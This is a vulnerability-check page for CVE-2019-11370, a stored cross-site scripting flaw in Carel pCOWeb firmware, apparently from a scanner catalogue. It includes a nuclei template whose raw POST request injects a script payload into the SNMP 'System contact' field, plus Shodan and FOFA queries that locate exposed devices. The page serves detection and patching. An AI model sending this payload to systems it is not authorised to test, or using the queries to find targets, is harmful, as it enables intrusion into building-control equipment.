Carel pCOWeb <B1.2.4 - Cross-Site Scripting

mediumseverity

5.4CVSS score

4.5%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

Carel pCOWeb prior to B1.2.4 is vulnerable to stored cross-site scripting, as demonstrated by the config/pw_snmp.html "System contact" field.

Impact

Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.

Fix

Apply the latest patch or upgrade to a version that addresses the vulnerability.

How to confirm it

Send: POST /config/pw_snmp_done.html ; GET /config/pw_snmp.html
Positive when: contains(body_2, "text/html") and status_code_2 == 200 and contains(body_2, 'value=\"\"><script>alert(document.domain)</script>\"></td>')

Run it with nuclei: nuclei -id CVE-2019-11370 -u <target>

The full check

id: CVE-2019-11370

info:
  name: Carel pCOWeb <B1.2.4 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Carel pCOWeb prior to B1.2.4 is vulnerable to stored cross-site scripting, as demonstrated by the config/pw_snmp.html "System contact" field.
  impact: |
    Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Apply the latest patch or upgrade to a version that addresses the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/46897
    - https://github.com/nepenthe0320/cve_poc/blob/master/CVE-2019-11370
    - https://nvd.nist.gov/vuln/detail/CVE-2019-11370
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2019-11370
    cwe-id: CWE-79
    epss-score: 0.04468
    epss-percentile: 0.91526
    cpe: cpe:2.3:o:carel:pcoweb_card_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: carel
    product: pcoweb_card_firmware
    shodan-query:
      - http.html:"pCOWeb"
      - http.html:"pcoweb"
    fofa-query: body="pcoweb"
  tags: cve,cve2019,pcoweb,xss,carel,edb,vkev,vuln

http:
  - raw:
      - |
        POST /config/pw_snmp_done.html HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        %3Fscript%3Asetdb%28%27snmp%27%2C%27syscontact%27%29=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
      - |
        GET /config/pw_snmp.html HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "text/html")'
          - status_code_2 == 200
          - contains(body_2, 'value=\"\"><script>alert(document.domain)</script>\"></td>')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from